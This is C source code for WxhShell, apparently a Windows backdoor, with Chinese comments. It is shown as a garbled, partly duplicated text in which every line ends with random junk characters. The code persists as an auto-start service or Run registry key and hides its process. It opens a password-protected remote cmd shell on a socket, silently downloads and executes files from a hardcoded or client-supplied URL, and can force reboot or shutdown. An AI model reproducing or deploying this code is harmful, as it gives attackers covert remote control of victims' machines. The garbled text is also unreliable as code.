    break; 1U6 z2i+y  
    } &hu>yH>j  
  // 关机 ~kFL[Asnaf  
  case 'd': { F_F02:t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ! 8*l U2  
    if(Boot(SHUTDOWN)) wGg_ vAn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FS^~e-A  
    else { cK.z&y0]  
    closesocket(wsh); VDTt}J8  
    ExitThread(0); 7m:ZG  
    } cB=ExD.Q  
    break; b|oT!s  
    } ,=V9 ?  
  // 获取shell <NXJ&xs-+  
  case 's': { X R|U6bf]  
    CmdShell(wsh); Gy)2  
    closesocket(wsh); 3t9Weo)  
    ExitThread(0); <\EJ:  
    break; ! G3Gr  
  } YJu~iQ`i  
  // 退出 {;vLM* '  
  case 'x': { SNtk1pG>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5D eo}(3  
    CloseIt(wsh); ez<V  
    break; 2"6bz^>}  
    } g5:?O,?  
  // 离开 'S%H"W\  
  case 'q': { 5.d[C/pRw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sOVU>tb\'  
    closesocket(wsh); -}(2}~{e(  
    WSACleanup(); l}SHR|7<  
    exit(1); OXJ'-EZH  
    break; 0p]v#z}  
        } /]oQqZHv  
  } e2^TQv2(=e  
  } L yH1tF  
!|Wf mU  
  // 提示信息 %2y5a`b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,49Z/P  
} bEm9hFvd  
  } OE*Y%*b  
zf;sdQ;4  
  return; '^)}"sZ@G  
} =M=v; ,I-  
PdtL Cgd  
// shell模块句柄 JED\"(d(  
int CmdShell(SOCKET sock) sGa}Cf;H@g  
{ Ad&VOh+0  
STARTUPINFO si; $[UUf}7L   
ZeroMemory(&si,sizeof(si)); wJj:hA}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p(6 sN=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EF6h>"']/  
PROCESS_INFORMATION ProcessInfo; Cxeam"-HTt  
char cmdline[]="cmd"; H*e+ 2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +z 4E:v  
  return 0; &`oybm-p(  
} TV=K3F5)M  
1mD)G55Ep  
// 自身启动模式 dci<Rz`h  
int StartFromService(void) 5th?m>  
{ [ ou$*  
typedef struct y @S_CB 47  
{ iX[g  
  DWORD ExitStatus; k.z(.uc=  
  DWORD PebBaseAddress; <RKT |  
  DWORD AffinityMask; "}V_.I* +  
  DWORD BasePriority; IC?(F]$%>  
  ULONG UniqueProcessId; u*/+cT  
  ULONG InheritedFromUniqueProcessId; uP+VS>b  
}   PROCESS_BASIC_INFORMATION; +Qf}&D_  
H@1}_d  
PROCNTQSIP NtQueryInformationProcess; `Qjs {H  
/3&MUB*z&y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0` .5gxm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L 0oVXmlr  
|Ve,Y  
  HANDLE             hProcess; VD< z]@  
  PROCESS_BASIC_INFORMATION pbi; 2vWn(6`  
?}uuTNLl)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h aApw(.%  
  if(NULL == hInst ) return 0; L&s$&E%  
Uo71C4ev  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `BVmuUMm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]f0OmUHR5i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1 +[sM  
!I.}[9N  
  if (!NtQueryInformationProcess) return 0; '%82pZ,?  
Nte$cTjX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #*:^\z_Jd  
  if(!hProcess) return 0; $xWUzg1<U  
Qe{w)e0}`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `XpQR=IOMb  
z$WLx  
  CloseHandle(hProcess); k/D{&(F ~  
5'c#pm\Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4Y$\QZO  
if(hProcess==NULL) return 0; 5C&*PJ~WA  
0EF~Ouef  
HMODULE hMod; (|F.3~Amq  
char procName[255]; $rI 1|;^  
unsigned long cbNeeded; Fn7OmxfD  
vFB^h1k~.M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZP5 !O[Ut  
IzJq:G.  
  CloseHandle(hProcess); 2 rr=FJ  
[orL.D]  
if(strstr(procName,"services")) return 1; // 以服务启动 [iEz?1.,  
S>r",S  
  return 0; // 注册表启动 VX&PkGi?o  
} _bi)d201  
SI=u-'%  
// 主模块 ddyX+.LMk  
int StartWxhshell(LPSTR lpCmdLine) PO?_i>mA  
{ r5Tdp)S  
  SOCKET wsl; A4cOnG,  
BOOL val=TRUE; U(9_&sL  
  int port=0; ^:]$m;v]  
  struct sockaddr_in door; 6tndC o;`  
,|B-Nq  
  if(wscfg.ws_autoins) Install(); H#DvCw  
8lL|j  
port=atoi(lpCmdLine); tKeTHj;jO  
q;")  
if(port<=0) port=wscfg.ws_port; !TJ,:c]4{!  
C!a1.&HHZ7  
  WSADATA data; 9&5<ZC-D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ".tL+A[  
-^lc-$0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @(~:JP?KNC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s0^(yEcq  
  door.sin_family = AF_INET; \?d3Pn5`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4G?^#+|^  
  door.sin_port = htons(port); KGHSEZi]  
BUJ\[/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `}$o<CJ  
closesocket(wsl); Ph1XI&us9  
return 1; =i&,I{3  
} 6FQi=}O1  
8.#{J&h  
  if(listen(wsl,2) == INVALID_SOCKET) { iBd6&?E?<  
closesocket(wsl); %^pi  
return 1; XS[L-NHG  
} Ch_rV+  
  Wxhshell(wsl); 8s@N NjV  
  WSACleanup(); %)x9u$4W2  
sfj+-se(K.  
return 0; wDZ<UP=X  
12KC4,C&1i  
} =d<RgwscJ  
q.VYPkEib  
// 以NT服务方式启动 /v8Q17O?e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IB/3=4n^|  
{ *iE tXv  
DWORD   status = 0; a+E&{p V  
  DWORD   specificError = 0xfffffff; Ki2!sADd  
UtQey ;w  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  ir6' \  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *[3xc*5F/A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _!R$a-  
  serviceStatus.dwWin32ExitCode     = 0; )rD!4"8/A  
  serviceStatus.dwServiceSpecificExitCode = 0; x8PT+KC  
  serviceStatus.dwCheckPoint       = 0; r8J7zTD&  
  serviceStatus.dwWaitHint       = 0; #Ub_m@@ 4  
hTr5Q33y>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7{L4a\JzT  
  if (hServiceStatusHandle==0) return; T)rE#"_]{  
L^3&  
status = GetLastError(); .$%p0Yx+  
  if (status!=NO_ERROR) qW0:q.   
{ sQvRupYRO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :oP LluW*  
    serviceStatus.dwCheckPoint       = 0; c+9L6}D  
    serviceStatus.dwWaitHint       = 0; 2 }r=DAe0  
    serviceStatus.dwWin32ExitCode     = status; "6$V1B0KW  
    serviceStatus.dwServiceSpecificExitCode = specificError; MC}t8L=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @1JwjtNk  
    return; hj [77EEz  
  } <U@N ^#  
d,V#5l-6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,Of^xER`  
  serviceStatus.dwCheckPoint       = 0; O1J&Lwpk,  
  serviceStatus.dwWaitHint       = 0; N1c=cZDV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z1PwupXt1  
} <Kd(fFe  
Q+ ^ &  
// 处理NT服务事件,比如:启动、停止 V&M*,#(?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }}JMwT  
{ =?<WCR C*  
switch(fdwControl) QF#w $%7  
{ 3@> F-N  
case SERVICE_CONTROL_STOP: BBB@M  
  serviceStatus.dwWin32ExitCode = 0; vk& gR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4wl1hp>,  
  serviceStatus.dwCheckPoint   = 0; $;qi -K3j  
  serviceStatus.dwWaitHint     = 0; G*fo9eu5$  
  { I,j4 BU4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tlsh[@Q  
  }  `Y#At3{  
  return; 5Q?Jm~H9  
case SERVICE_CONTROL_PAUSE: z8Q!~NN-K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *qd:f!Q3  
  break; nT6y6F _e  
case SERVICE_CONTROL_CONTINUE: ,,'jyqD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J7+G"_)'  
  break; +I3jI <  
case SERVICE_CONTROL_INTERROGATE: :v&[ !  
  break; SS=<\q#MS  
}; e1m?g&[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t'eqk#rq  
} ,ks2&e  
,=:K&5mCv  
// 标准应用程序主函数  +$dJA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z%;p lMj  
{ iC gZ3M]  
kQ`tY`3F  
// 获取操作系统版本 LKIMT  
OsIsNt=GetOsVer(); =3e7n2N)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B$4*U"tk  
3S0.sU~_U  
  // 从命令行安装 U0~_'&Fe  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?+yr7_f3*  
{ "y/;x/  
  // 下载执行文件 _R4}\3}!  
if(wscfg.ws_downexe) { $)i`!7`4=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kRp]2^}\s\  
  WinExec(wscfg.ws_filenam,SW_HIDE); F"@%7xy  
} 9wgB J Jl7  
<n2@;` D  
if(!OsIsNt) { 8+zW:0"[  
// 如果时win9x,隐藏进程并且设置为注册表启动 3db{Tcn\@]  
HideProc(); Jh26!%<Bl  
StartWxhshell(lpCmdLine); Q]:O#;"<  
} g{8RPw]  
else #2{-6ey  
  if(StartFromService())  +\/Q  
  // 以服务方式启动 |3*9+4]a  
  StartServiceCtrlDispatcher(DispatchTable); jjs/6sSRk  
else sVLvnX,  
  // 普通方式启动 9 BCW2@Kp  
  StartWxhshell(lpCmdLine); FaL\6w  
1 ^~&"s U  
return 0; bjZJP\6  
} 067c/ c  
z5+Pi:1w  
+HK4sA2;  
a~$XD(w^  
=========================================== yk+ 50/L  
9mF '   
K`4rUEf}V"  
/F*Y~>*% 1  
h [TwaR  
h3ygL"k  
" jh5QIZf=  
44]s`QyG  
#include <stdio.h> o<`vh*U@,4  
#include <string.h> C"hN2Z!CD|  
#include <windows.h> @KN+)qP  
#include <winsock2.h> #lYyL`B+~  
#include <winsvc.h> P*|N)S)X%  
#include <urlmon.h> q!Du J  
A~zn;  
#pragma comment (lib, "Ws2_32.lib") cG|fau<G  
#pragma comment (lib, "urlmon.lib") U( YAI%O  
IkrB}  
#define MAX_USER   100 // 最大客户端连接数 Y-VDi.]W  
#define BUF_SOCK   200 // sock buffer ]z'&oz  
#define KEY_BUFF   255 // 输入 buffer b IDUa  
7- B.<$uC  
#define REBOOT     0   // 重启 <I+kB^Er  
#define SHUTDOWN   1   // 关机 om3 %\  
E)"19l|}B  
#define DEF_PORT   5000 // 监听端口 peQwH  
B}e/MlX3M  
#define REG_LEN     16   // 注册表键长度 nzq   
#define SVC_LEN     80   // NT服务名长度 rTPgHK]?l  
J2mHPV A3  
// 从dll定义API ^7gGtz2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zj 6I:Q r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fPR_ 3qgQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @Jt$92i5PS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -JW~_Q[  
]\E"oZ  
// wxhshell配置信息 lZFu|(  
struct WSCFG { '-iEbE  
  int ws_port;         // 监听端口 @HT\Y%E  
  char ws_passstr[REG_LEN]; // 口令 =|3BkmO  
  int ws_autoins;       // 安装标记, 1=yes 0=no "J VIkC  
  char ws_regname[REG_LEN]; // 注册表键名 b!<_ JOL2.  
  char ws_svcname[REG_LEN]; // 服务名 s :vNr@TS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qBA)5Sv\V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GkGiQf4hh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F%OP,>zl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y(Q 0m|3P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >O'\ jp}$l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C$[d~1t6  
d&AG~,&d|  
};  Nx}nOm  
i8iT}^  
// default Wxhshell configuration x|H`%Z  
struct WSCFG wscfg={DEF_PORT, bA;OphO(  
    "xuhuanlingzhe", a:FU- ^B4~  
    1, `Os=cMR  
    "Wxhshell", bI):-2&s}  
    "Wxhshell", qmS9*me {  
            "WxhShell Service", mF4W4~"  
    "Wrsky Windows CmdShell Service", 5ggyk0  
    "Please Input Your Password: ", qu=~\t1[6  
  1, Jo?LPR \6  
  "http://www.wrsky.com/wxhshell.exe", VB |?S|<  
  "Wxhshell.exe" %hB-$nE  
    }; l.Q  
3efOgP=L  
// 消息定义模块 ah>c)1DA*H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B#K gU&Loo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fSo8O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v%tjZ5x  
char *msg_ws_ext="\n\rExit."; Cbbdq%ySI  
char *msg_ws_end="\n\rQuit."; ddn IKkOp  
char *msg_ws_boot="\n\rReboot..."; u I e^Me  
char *msg_ws_poff="\n\rShutdown..."; T:^.; ZY  
char *msg_ws_down="\n\rSave to "; ak(s@@k  
|G j.E  
char *msg_ws_err="\n\rErr!"; _@5Xmr  
char *msg_ws_ok="\n\rOK!"; :1'  
L+t / E`  
char ExeFile[MAX_PATH]; ]U?nYppV  
int nUser = 0; T(!1\TB  
HANDLE handles[MAX_USER]; *zrT;j G  
int OsIsNt; a>4/2#J  
Dri6\/0  
SERVICE_STATUS       serviceStatus; qe]D4K8`Q3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I?T !  
>A Ep\ *  
// 函数声明 WQ|Ufl;  
int Install(void); $^x=i;>aK.  
int Uninstall(void); Fh~9(Y#  
int DownloadFile(char *sURL, SOCKET wsh); /b+~BvTh  
int Boot(int flag); "4b{YWv  
void HideProc(void); o&JoeKXor  
int GetOsVer(void); ,!= sGUQ)  
int Wxhshell(SOCKET wsl); 5Tsz|k  
void TalkWithClient(void *cs); Kz'GAm\  
int CmdShell(SOCKET sock); oj8r*  
int StartFromService(void); X5WA-s(?0  
int StartWxhshell(LPSTR lpCmdLine); Xo PJ?6 3  
vo/x`F'ib  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pY&6p~\p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3u@,OE  
#}A"yo  
// 数据结构和表定义 ~WrpJjI[  
SERVICE_TABLE_ENTRY DispatchTable[] = pte\1q[N  
{ q <}IO  
{wscfg.ws_svcname, NTServiceMain}, h#1:ypA6l  
{NULL, NULL} =dXHQU&Q  
}; )nd^@G^  
vJE=H9E  
// 自我安装 *|&Y ,H?  
int Install(void) g *5_m(H  
{ 2dts}G  
  char svExeFile[MAX_PATH]; mnTF40l  
  HKEY key; [s}W47N1  
  strcpy(svExeFile,ExeFile); wgz]R  
Zpd-ob  
// 如果是win9x系统,修改注册表设为自启动 'o='Q)Dk  
if(!OsIsNt) { E:` _P+2p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GMU!GSY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \`.v8C>vG  
  RegCloseKey(key); &r,vD,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EU(e5vO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C(>!?-.  
  RegCloseKey(key); [8u9q.IZ  
  return 0; y&\4Wr9m  
    } 0f4 y"9m  
  } oc?|"  
} :7{GOx  
else { |5>Tf6 $(  
g? vz\_  
// 如果是NT以上系统,安装为系统服务 jV% VN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m2SJ\1 J=  
if (schSCManager!=0) r1~W(r.x  
{ `.@udfog^0  
  SC_HANDLE schService = CreateService &Wy>t8DIK  
  ( uQG|r)  
  schSCManager, EH".ki=e  
  wscfg.ws_svcname, r'noB<| e  
  wscfg.ws_svcdisp, % J\G[dl  
  SERVICE_ALL_ACCESS, W@!qp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UVDMYA0  
  SERVICE_AUTO_START, +149 o2  
  SERVICE_ERROR_NORMAL, UDHOcb  
  svExeFile, :1d;jx>  
  NULL, <gPM/ 4$G  
  NULL, k7uX!}  
  NULL, ~,,r\Y+  
  NULL, rDl/R^w"  
  NULL ll__A|JQ  
  ); B9l~Y/3|  
  if (schService!=0) m{oe|UVcmr  
  { \: ZDY(>1  
  CloseServiceHandle(schService); a3n Wt  
  CloseServiceHandle(schSCManager); iKq_s5|sW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %C%3c4+Oh  
  strcat(svExeFile,wscfg.ws_svcname); (jKqwVs.:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Az8b_:=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K0>;4E>B  
  RegCloseKey(key); gpq ,rOIK  
  return 0; 0L;,\&*u  
    } *mV?_4!,f7  
  } [__P-h{J  
  CloseServiceHandle(schSCManager); Fs >MFj  
} [XPAI["  
} r'ilJ("  
"d}']M?-h  
return 1; =lv(  
} *BxU5)O  
; &rxwL  
// 自我卸载 9z?c0W5x  
int Uninstall(void) Tkr~)2,(I!  
{ 'oz$uvX  
  HKEY key; !bzWgD7j  
=nHkFi@D=t  
if(!OsIsNt) { p$F` 9_bZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Takx%U  
  RegDeleteValue(key,wscfg.ws_regname); F=&,=r' Q8  
  RegCloseKey(key); v1u~[c=|^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H-t$A, [  
  RegDeleteValue(key,wscfg.ws_regname); 0~<?*{~  
  RegCloseKey(key); h0-.9ym  
  return 0; ;{8 X+H  
  } XN-1`5:4I  
} ~M7X]  
} iwIn3R,  
else { 3 85qQppz  
{pQ8/Af!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /.s L[X-G  
if (schSCManager!=0) UV|{za$&/  
{ W +Piqf*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $[_5:@T%N  
  if (schService!=0) <IU   
  { ,or;8aYc#  
  if(DeleteService(schService)!=0) { [-`s`g-  
  CloseServiceHandle(schService); ZYB5s~;eB"  
  CloseServiceHandle(schSCManager); Gy+c/gK  
  return 0; yfwR``F  
  } wo62R&ac  
  CloseServiceHandle(schService); ZK ?V{X{";  
  } |5(CzXR]  
  CloseServiceHandle(schSCManager); Lww&[|k.  
} l`75BR  
} }2Ge??!  
DI/d(oFv`  
return 1; J<NpA(@^  
} ZT"vVX- )G  
o^5UHFxTCB  
// 从指定url下载文件 uih8ZmRt  
int DownloadFile(char *sURL, SOCKET wsh) lhQMR(w^  
{ Nnn~7  
  HRESULT hr; [6\O <-?  
char seps[]= "/"; bs}SFTL  
char *token; Rhlm  
char *file; d~.hp  
char myURL[MAX_PATH]; #_Uo^Mw  
char myFILE[MAX_PATH]; /g0' +DP  
<bn|ni|c"  
strcpy(myURL,sURL); 7aRy])x  
  token=strtok(myURL,seps); ;Ym6ey0t  
  while(token!=NULL)  )%9:k9  
  { H [M:iV  
    file=token; E690'\)31  
  token=strtok(NULL,seps); 3p-SpUvp  
  } .: wg@Z  
RYl{89  
GetCurrentDirectory(MAX_PATH,myFILE); cEXd#TlY~X  
strcat(myFILE, "\\"); <`q-#-V@  
strcat(myFILE, file); w3iX "w  
  send(wsh,myFILE,strlen(myFILE),0); n\7 >_  
send(wsh,"...",3,0); Z3<lJk\Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0LGHSDb  
  if(hr==S_OK) X+;#^A3  
return 0; ld%#.~Q  
else aR)UHxvX  
return 1; M~X~2`fFH  
l"&iSq!3=  
} e\#aQ1?"  
?(khoL t  
// 系统电源模块 ;p,Kq5,l  
int Boot(int flag) .|:(VG$MfI  
{ ~ hP]<$v  
  HANDLE hToken; <,*w$  
  TOKEN_PRIVILEGES tkp; ?!tO'}?  
gjJ:s,Fg  
  if(OsIsNt) { +CQIm!Sp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ee<'j~{A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?<OE|nb&  
    tkp.PrivilegeCount = 1; ](+u'8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @Rd`/S@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E)'T;%  
if(flag==REBOOT) { uw>y*OLU+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '*U_!RmQ  
  return 0; _0&U'/cs  
} #pD=TMefC  
else { uYE"O UNWL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QVb{+`.7  
  return 0; ju.`c->k"  
} x {R j2~KC  
  } ? _[ q{i{  
  else { H_iQR9Ak7  
if(flag==REBOOT) { ?U:c\TA,m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @q|c|X:I  
  return 0; (6)|v S  
} Rs'mk6+  
else { vN6)Szim  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (^ J2(  
  return 0; ;%AY#b4m  
} T[ zEAj  
} 4{$ L]toP  
1LmbXH]%  
return 1; Z'wGZ(  
} -ADb5-px  
C;Kq_/l  
// win9x进程隐藏模块 %u?A>$Jn  
void HideProc(void) P?=}}DI  
{ |l~#qeZ%  
pSx}:u^am  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |UQGZ  
  if ( hKernel != NULL ) Fp+fZU  
  { On;7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9]S;%:64  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8[)"+IFN  
    FreeLibrary(hKernel); 9*a"^  
  } oC TSV  
LD;! s  
return; 7U)w\A;~  
} gp\o|igT  
%pxHGO=)E  
// 获取操作系统版本 %8KbVjn  
int GetOsVer(void) cS",Bw\  
{ s8*Q@0  
  OSVERSIONINFO winfo; aO *][;0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7$kTeKiP  
  GetVersionEx(&winfo); +W|VCz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7MX5hZF"  
  return 1; No'Th7=|S  
  else xy^z_`  
  return 0; wA";N=i=  
} x qj@T^y  
e1H2w? s  
// 客户端句柄模块  _dVA^m  
int Wxhshell(SOCKET wsl) 69Q#UJ  
{ W> $mU&ew[  
  SOCKET wsh; uF@DJX}>  
  struct sockaddr_in client; !$0ozDmD  
  DWORD myID; e$-Y>Dd  
"2 qivJ  
  while(nUser<MAX_USER) |zp}u(N  
{ @(m?j1!M  
  int nSize=sizeof(client); ZY)&Fam}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )%I62<N,z  
  if(wsh==INVALID_SOCKET) return 1; 1[(/{CClB  
\2 [  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _WBWFGj  
if(handles[nUser]==0) 0w".o!2\U{  
  closesocket(wsh); {G-y7y+E  
else iB*1Yy0DC  
  nUser++; Oz5Ze/HBN  
  } i7O8f^|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mir( }E  
<OGXKv@  
  return 0; XNkZ^3mq  
} m>^#:JK  
BKfoeN)%  
// 关闭 socket VBg M7d  
void CloseIt(SOCKET wsh) r4pR[G._  
{ Nf9$q| %!  
closesocket(wsh); %xwtG:IKEV  
nUser--; zRA,Yi4;+  
ExitThread(0); ugQySg>  
} KD8,a+GL  
z#srgyLt  
// 客户端请求句柄 bx3kd+J7  
void TalkWithClient(void *cs) o+T, O+i  
{ g-2(W   
x3=SMN|a  
  SOCKET wsh=(SOCKET)cs; ga|-~~  
  char pwd[SVC_LEN]; K]>X31Ho  
  char cmd[KEY_BUFF]; kIH)>euZ  
char chr[1]; kO' NT:  
int i,j; =BgQ Ss/^c  
 tZN'OoZ  
  while (nUser < MAX_USER) { Wo/LrCg  
5NhwIu^<  
if(wscfg.ws_passstr) { '+\.&'A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }N#hg>; B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QzD8 jk#  
  //ZeroMemory(pwd,KEY_BUFF); 'zx1kq1  
      i=0; q=/ck  
  while(i<SVC_LEN) { O.'\GM  
b[my5O l  
  // 设置超时 ka| 8 _C^z  
  fd_set FdRead; FrQRHbp3  
  struct timeval TimeOut; :cE~\B S&  
  FD_ZERO(&FdRead); `j(-y`fo  
  FD_SET(wsh,&FdRead); uVLKR PY  
  TimeOut.tv_sec=8; LVNJlRK  
  TimeOut.tv_usec=0; )uH#+IU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q|nGY:98  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +r 8/\'u-  
?&$BQK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e/y\P&"eI  
  pwd=chr[0]; y (=$z/  
  if(chr[0]==0xd || chr[0]==0xa) { Mzj|57:gx  
  pwd=0; "S0WFP\P+  
  break; Tf.DFfV#y  
  } Yi#U~ h  
  i++; M>|R&v  
    } McRfEF \  
~|=goHmm[  
  // 如果是非法用户,关闭 socket @x/D8HK2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wT^QO^.  
} Hge0$6l  
hH=}<@z   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qku!Mg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Nny .@P)H  
7\ kixfEg  
while(1) { gwv s  
Y #6G&)M  
  ZeroMemory(cmd,KEY_BUFF); vC%8-;8{H  
O" ,*N  
      // 自动支持客户端 telnet标准   hBNA,e:  
  j=0; }:4b_-&Q5  
  while(j<KEY_BUFF) { ^n<o,K4\}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T8-,t];i  
  cmd[j]=chr[0]; TCetd#;R  
  if(chr[0]==0xa || chr[0]==0xd) { K_CE.8G&{  
  cmd[j]=0; iCh,7I,m  
  break; 6@geakq  
  } K_ [B@( Xl  
  j++; &bT \4  
    } J(=io_\bO  
<%:,{u6  
  // 下载文件 H+F>#  
  if(strstr(cmd,"http://")) { K}9c$C4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \"?5CHz*  
  if(DownloadFile(cmd,wsh)) Z-rHYfa4  
